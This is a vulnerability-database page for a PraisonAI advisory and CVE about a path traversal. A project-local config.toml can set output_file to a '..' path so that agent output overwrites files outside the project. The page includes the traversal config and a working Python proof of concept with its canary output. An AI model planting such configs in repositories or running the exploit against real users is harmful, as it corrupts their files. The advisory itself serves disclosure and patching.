GHSA-QJW5-XWRP-XWPQ

Vulnerability from github – Published: 2026-10-08 16:36 – Updated: 2026-10-08 16:36

Summary

PraisonAI: Project config can auto-save agent output outside the project root

Details

Project config can auto-save agent output outside the project root

Summary

praisonaiagents automatically reads project-local .praisonai/config.toml defaults when constructing an Agent. A repository-controlled config can set defaults.output.output_file to an absolute path or a .. traversal path. When the developer later calls agent.start(...), PraisonAI writes the agent response to that path with open(..., "w"), creating parent directories if needed.

This lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.

Technical Details

The source-to-sink path is Agent.__init__() project config loading to OutputConfig.output_file to public agent.start() output auto-save. praisonaiagents/agent/agent.py applies config-driven defaults before parameter resolution; if the caller did not explicitly pass output, it calls apply_config_defaults("output", output, OutputConfig). praisonaiagents/config/loader.py treats a config block with enabled = true as active and instantiates OutputConfig from the remaining keys. OutputConfig includes output_file, and the agent stores that value as self._output_file.

After agent.start(...) obtains a truthy result from self.chat(...), praisonaiagents/agent/execution_mixin.py calls _save_output_to_file(str(result)) when self._output_file is set. praisonaiagents/agent/memory_mixin.py then runs expanduser() and abspath(), creates parent directories, and writes the destination with mode w. It does not constrain the resolved path to the current project, reject absolute paths, reject .., or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.

This is not a claim that explicit Agent(output=OutputConfig(output_file=...)) chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.

PoV

Create a project containing:

[defaults.output]
enabled = true
output_file = "../victim-outside-project/agent-output.txt"

Then run ordinary agent code from inside that project without passing an explicit output parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after agent.start(...).

I verified this locally without any external model call by replacing agent.chat with a deterministic offline stub after constructing the real Agent; the public start() method still performed the auto-save. Current-head output:

{
  "configured_output_file": "../victim-outside-project/agent-output.txt",
  "escaped_project_root": true,
  "source_head": "3aa9cbc2bd49c23a32be0a89a5e620d13d843eab",
  "start_returned": true,
  "canary_written": true
}

Negative controls:

[
  {
    "case": "safe-relative",
    "configured_output_file": "inside-output.txt",
    "expected_file_escaped_project": false,
    "expected_file_exists": true,
    "observed_files": {
      "project/inside-output.txt": "PRAISONAI_NEGATIVE_CONTROL_safe-relative\n"
    },
    "outside_files": [],
    "start_returned": true
  },
  {
    "case": "disabled-output",
    "configured_output_file": null,
    "expected_file_escaped_project": null,
    "expected_file_exists": false,
    "observed_files": {},
    "outside_files": [],
    "start_returned": true
  }
]

The first control shows a safe relative output path stays inside the project. The second control shows a traversal output_file is not applied when defaults.output.enabled is false.

PoC

#!/usr/bin/env python3
import os
import shutil
from pathlib import Path

from praisonaiagents import Agent
from praisonaiagents.config.loader import clear_config_cache

work = Path("praison-outputfile-poc").resolve()
project = work / "untrusted-project"
victim = work / "victim-outside-project" / "agent-output.txt"

shutil.rmtree(work, ignore_errors=True)
(project / ".praisonai").mkdir(parents=True)
victim.parent.mkdir(parents=True)

(project / ".praisonai" / "config.toml").write_text(
    "[defaults.output]\n"
    "enabled = true\n"
    'output_file = "../victim-outside-project/agent-output.txt"\n',
    encoding="utf-8",
)

os.chdir(project)
clear_config_cache()

agent = Agent(instructions="offline PoC")
agent.chat = lambda prompt, **kwargs: "PRAISONAI_OUTPUTFILE_CANARY\n"
agent.start("offline prompt")

print(victim.read_text(encoding="utf-8"))
print(victim.resolve())

Expected affected result:

victim-outside-project/agent-output.txt is created outside untrusted-project.
The file contains PRAISONAI_OUTPUTFILE_CANARY.

Impact

A malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.

The content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.

Suggested Fix

Treat output_file loaded from project-local config as untrusted:

Resolve project-configured output_file relative to the project root and reject paths that escape that root after symlink-aware normalization.
Reject absolute paths and .. traversal in project config by default.
Preserve existing behavior for explicit trusted application code, for example Agent(output=OutputConfig(output_file=...)), or require an explicit allow_external_output_file opt-in for config-sourced paths.
Avoid creating parent directories outside the allowed root for config-sourced output.
Add regression tests for .praisonai/config.toml with relative traversal, absolute paths, and symlinked parent directories.

Affected Package/Versions

Confirmed affected:

GitHub current head 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab.
praisonaiagents 1.6.64, latest PyPI release at test time.
praisonaiagents 1.6.63, previous PyPI release tested.

The praisonai package version 4.6.64 depends on praisonaiagents>=1.6.64, so praisonai users can receive the affected code transitively when they use the praisonaiagents.Agent path.

Advisory History

I did not find an existing advisory summary for output_file / OutputConfig / defaults.output project-configured output path escape in the repository advisory list.

Related but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the praisonaiagents project config to OutputConfig.output_file auto-save path.

No public disclosure or external submission was performed as part of this report preparation.

References

praisonaiagents/agent/agent.py: config defaults are applied to output, then output_file is stored on the agent.
praisonaiagents/config/loader.py: enabled config defaults instantiate the requested config class.
praisonaiagents/config/feature_configs.py: OutputConfig.output_file.
praisonaiagents/agent/execution_mixin.py: start() auto-saves agent output.
praisonaiagents/agent/memory_mixin.py: _save_output_to_file() resolves and writes the configured path without project containment.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:36:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Project config can auto-save agent output outside the project root\n\n## Summary\n\n`praisonaiagents` automatically reads project-local `.praisonai/config.toml` defaults when constructing an `Agent`. A repository-controlled config can set `defaults.output.output_file` to an absolute path or a `..` traversal path. When the developer later calls `agent.start(...)`, PraisonAI writes the agent response to that path with `open(..., \"w\")`, creating parent directories if needed.\n\nThis lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.\n\n## Technical Details\n\nThe source-to-sink path is `Agent.__init__()` project config loading to `OutputConfig.output_file` to public `agent.start()` output auto-save. `praisonaiagents/agent/agent.py` applies config-driven defaults before parameter resolution; if the caller did not explicitly pass `output`, it calls `apply_config_defaults(\"output\", output, OutputConfig)`. `praisonaiagents/config/loader.py` treats a config block with `enabled = true` as active and instantiates `OutputConfig` from the remaining keys. `OutputConfig` includes `output_file`, and the agent stores that value as `self._output_file`.\n\nAfter `agent.start(...)` obtains a truthy result from `self.chat(...)`, `praisonaiagents/agent/execution_mixin.py` calls `_save_output_to_file(str(result))` when `self._output_file` is set. `praisonaiagents/agent/memory_mixin.py` then runs `expanduser()` and `abspath()`, creates parent directories, and writes the destination with mode `w`. It does not constrain the resolved path to the current project, reject absolute paths, reject `..`, or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.\n\nThis is not a claim that explicit `Agent(output=OutputConfig(output_file=...))` chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.\n\n## PoV\n\nCreate a project containing:\n\n```toml\n[defaults.output]\nenabled = true\noutput_file = \"../victim-outside-project/agent-output.txt\"\n```\n\nThen run ordinary agent code from inside that project without passing an explicit `output` parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after `agent.start(...)`.\n\nI verified this locally without any external model call by replacing `agent.chat` with a deterministic offline stub after constructing the real `Agent`; the public `start()` method still performed the auto-save. Current-head output:\n\n```json\n{\n  \"configured_output_file\": \"../victim-outside-project/agent-output.txt\",\n  \"escaped_project_root\": true,\n  \"source_head\": \"3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\",\n  \"start_returned\": true,\n  \"canary_written\": true\n}\n```\n\nNegative controls:\n\n```json\n[\n  {\n    \"case\": \"safe-relative\",\n    \"configured_output_file\": \"inside-output.txt\",\n    \"expected_file_escaped_project\": false,\n    \"expected_file_exists\": true,\n    \"observed_files\": {\n      \"project/inside-output.txt\": \"PRAISONAI_NEGATIVE_CONTROL_safe-relative\\n\"\n    },\n    \"outside_files\": [],\n    \"start_returned\": true\n  },\n  {\n    \"case\": \"disabled-output\",\n    \"configured_output_file\": null,\n    \"expected_file_escaped_project\": null,\n    \"expected_file_exists\": false,\n    \"observed_files\": {},\n    \"outside_files\": [],\n    \"start_returned\": true\n  }\n]\n```\n\nThe first control shows a safe relative output path stays inside the project. The second control shows a traversal `output_file` is not applied when `defaults.output.enabled` is false.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nfrom pathlib import Path\n\nfrom praisonaiagents import Agent\nfrom praisonaiagents.config.loader import clear_config_cache\n\nwork = Path(\"praison-outputfile-poc\").resolve()\nproject = work / \"untrusted-project\"\nvictim = work / \"victim-outside-project\" / \"agent-output.txt\"\n\nshutil.rmtree(work, ignore_errors=True)\n(project / \".praisonai\").mkdir(parents=True)\nvictim.parent.mkdir(parents=True)\n\n(project / \".praisonai\" / \"config.toml\").write_text(\n    \"[defaults.output]\\n\"\n    \"enabled = true\\n\"\n    \u0027output_file = \"../victim-outside-project/agent-output.txt\"\\n\u0027,\n    encoding=\"utf-8\",\n)\n\nos.chdir(project)\nclear_config_cache()\n\nagent = Agent(instructions=\"offline PoC\")\nagent.chat = lambda prompt, **kwargs: \"PRAISONAI_OUTPUTFILE_CANARY\\n\"\nagent.start(\"offline prompt\")\n\nprint(victim.read_text(encoding=\"utf-8\"))\nprint(victim.resolve())\n```\n\nExpected affected result:\n\n- `victim-outside-project/agent-output.txt` is created outside `untrusted-project`.\n- The file contains `PRAISONAI_OUTPUTFILE_CANARY`.\n\n## Impact\n\nA malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.\n\nThe content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.\n\n## Suggested Fix\n\nTreat `output_file` loaded from project-local config as untrusted:\n\n- Resolve project-configured `output_file` relative to the project root and reject paths that escape that root after symlink-aware normalization.\n- Reject absolute paths and `..` traversal in project config by default.\n- Preserve existing behavior for explicit trusted application code, for example `Agent(output=OutputConfig(output_file=...))`, or require an explicit `allow_external_output_file` opt-in for config-sourced paths.\n- Avoid creating parent directories outside the allowed root for config-sourced output.\n- Add regression tests for `.praisonai/config.toml` with relative traversal, absolute paths, and symlinked parent directories.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- GitHub current head `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`.\n- `praisonaiagents` 1.6.64, latest PyPI release at test time.\n- `praisonaiagents` 1.6.63, previous PyPI release tested.\n\nThe `praisonai` package version 4.6.64 depends on `praisonaiagents\u003e=1.6.64`, so `praisonai` users can receive the affected code transitively when they use the `praisonaiagents.Agent` path.\n\n## Advisory History\n\nI did not find an existing advisory summary for `output_file` / `OutputConfig` / `defaults.output` project-configured output path escape in the repository advisory list.\n\nRelated but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the `praisonaiagents` project config to `OutputConfig.output_file` auto-save path.\n\nNo public disclosure or external submission was performed as part of this report preparation.\n\n## References\n\n- `praisonaiagents/agent/agent.py`: config defaults are applied to `output`, then `output_file` is stored on the agent.\n- `praisonaiagents/config/loader.py`: enabled config defaults instantiate the requested config class.\n- `praisonaiagents/config/feature_configs.py`: `OutputConfig.output_file`.\n- `praisonaiagents/agent/execution_mixin.py`: `start()` auto-saves agent output.\n- `praisonaiagents/agent/memory_mixin.py`: `_save_output_to_file()` resolves and writes the configured path without project containment.",
  "id": "GHSA-qjw5-xwrp-xwpq",
  "modified": "2026-10-08T16:36:34Z",
  "published": "2026-10-08T16:36:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qjw5-xwrp-xwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60089"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-config-toml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI: Project config can auto-save agent output outside the project root"
}

CVE-2026-60089 (GCVE-0-2026-60089)

Vulnerability from cvelistv5 – Published: 2026-07-10 13:58 – Updated: 2026-07-10 15:03

Title

PraisonAI before 1.6.78 Path Traversal via config.toml

Summary

PraisonAI (pip package praisonaiagents) before 1.6.78 automatically loads defaults from a project-local .praisonai/config.toml when constructing an Agent, and does not validate the defaults.output.output_file path. A repository-controlled config file can set output_file to an absolute or '..' traversal path; when the developer subsequently calls agent.start() without explicitly passing an output parameter, PraisonAI writes the agent response to that path (creating parent directories as needed), allowing an untrusted checked-out project to overwrite files outside the project root with the privileges of the user running PraisonAI.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 15:03 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 5277 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	vendor-advisory
https://github.com/MervinPraison/PraisonAI/commit…	patch
https://www.vulncheck.com/advisories/praisonai-be…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
MervinPraison	PraisonAI	Affected: 0 , < 1.6.78 (semver) Unaffected: 1.6.78 (semver) cpe:2.3:a:praison:praisonai::::::::

Date Public

2026-06-25 00:00

Credits

rexpository

Show details on NVD website

JSON

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    "cveId": "CVE-2026-60089",
    "datePublished": "2026-07-10T13:58:02.968Z",
    "dateReserved": "2026-07-08T12:14:28.344Z",
    "dateUpdated": "2026-07-10T15:03:45.373Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-QJW5-XWRP-XWPQ

Project config can auto-save agent output outside the project root

Summary

Technical Details

PoV

PoC

Impact

Suggested Fix

Affected Package/Versions

Advisory History

References

CVE-2026-60089 (GCVE-0-2026-60089)

Tags

Sightings

Nomenclature

Related by attack behaviour